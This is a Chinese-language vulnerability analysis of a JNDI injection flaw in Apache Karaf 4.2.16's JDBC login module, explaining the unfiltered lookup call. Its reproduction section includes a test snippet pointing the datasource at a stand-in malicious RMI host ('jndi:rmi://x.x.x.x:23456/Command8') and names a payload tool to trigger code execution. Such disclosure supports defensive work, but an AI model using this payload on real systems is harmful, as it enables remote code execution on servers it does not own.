首頁/ 汽車/ 正文

漏洞深度分析|Apache Karaf 4.2.16 存在JNDI 注入漏洞

專案地址

https://github。com/apache/karaf/

專案介紹

Apache Karaf是一個模組化執行時,支援多種框架和程式設計模型(REST/API、web、spring boot 等)。它提供了統包功能,您可以毫不費力地直接利用這些功能,打包為可變或不可變的應用程式。

專案版本

4。2。16

漏洞分析

該專案重寫 JDBCUtils 作為連線資料庫功能;在 jaas。modules。src。main。java。porg。apache。karaf。jass。modules。jdbc。JDBCUtils 使用了 jndi 協議測試連結是否正常訪問,但是在 doCreateDatasource 函式中呼叫了 ic。lookup(jndiName) 來初始化查詢資料庫

漏洞深度分析|Apache Karaf 4.2.16 存在JNDI 注入漏洞

lookup存在兩個過載

漏洞深度分析|Apache Karaf 4.2.16 存在JNDI 注入漏洞

看一下 lookup 的呼叫方法,傳進 InitialContext#getURLOrDefaultInitCtx

漏洞深度分析|Apache Karaf 4.2.16 存在JNDI 注入漏洞

lookup 拿到 name ,getURLScheme匹配 :和 /;之後獲取連結內容,getURLContext 解釋包含樣例

For example, if the scheme id is “ldap”, and the Context。 URL_PKG_PREFIXES property contains “com。widget:com。wiz。 jndi”, the naming manager would attempt to load the following classes until one is successfully instantiated:

· com。widget。ldap。ldapURLContextFactory

· com。wiz。jndi。ldap。ldapURLContextFactory

· com。sun。jndi。url。ldap。ldapURLContextFactory

而我們可以控制 lookup 函式的引數,使客戶端訪問提前設定好的惡意的 RMI 服務連結來載入惡意的物件class 位元組碼檔案來例項化,從而執行程式碼,完成利用。

該類並不存在任何黑/白名單對使用者傳入進行過濾,使用者可直接傳入rmi 惡意連結執行命令。確定該處存在 jndi注入,可被利用導致命令執行

漏洞復現

該專案無web介面,利用方式可使用官方提供的Test類進行測試。 測試類為 JdbcLoginModuleTest

該專案測試類並沒有測試 jndi 協議,而是測試 osgi 協議。為了復現我們需要更改為 jndi 協議。程式碼如下所示

options = new HashMap<>();// options。put(JDBCUtils。DATASOURCE, “osgi:” + DataSource。class。getName());options。put(JDBCUtils。DATASOURCE, “jndi:rmi://x。x。x。x:23456/Command8”);options。put(BundleContext。class。getName(), context);

漏洞深度分析|Apache Karaf 4.2.16 存在JNDI 注入漏洞

因為是jndi注入,需要配置注入payload及工具,以 JNDI-1。0-all。jar 為例,無需配置相關選項,僅使用預設 config。properties 即可彈出計算器

修復方式

升級到最新版本

相關文章

頂部